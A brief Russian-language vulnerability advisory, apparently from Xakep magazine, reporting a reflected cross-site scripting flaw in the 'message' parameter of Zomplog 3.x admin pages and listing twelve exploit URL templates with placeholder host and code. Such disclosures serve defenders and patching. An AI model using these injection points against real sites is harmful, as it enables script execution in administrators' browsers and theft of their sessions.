Xakep #305. Многошаговые SQL-инъекции
Программа: Zomplog 3.x
Уязвимость позволяет удаленному пользователю выполнить XSS нападение на
целевую систему. Уязвимость существует из-за недостаточной обработки входных
данных в параметре "message" различными сценариями. Атакующий может выполнить
произвольный сценарий в браузере жертвы в контексте безопасности уязвимого
сайта.
Эксплоит:
http://[host]/admin/users.php?message=[code]
http://[host]/admin/category.php?message=[code]
http://[host]/admin/entry.php?message=[code]
http://[host]/admin/newentry.php?message=[code]
http://[host]/admin/comments.php?message=[code]
http://[host]/admin/newpage.php?message=[code]
http://[host]/admin/page.php?message=[code]
http://[host]/admin/settings.php?message=[code]
http://[host]/admin/changeclothes.php?message=[code]
http://[host]/admin/settings_theme.php?message=[code]
http://[host]/admin/themes.php?message=[code]
http://[host]/admin/plugins.php?message=[code]
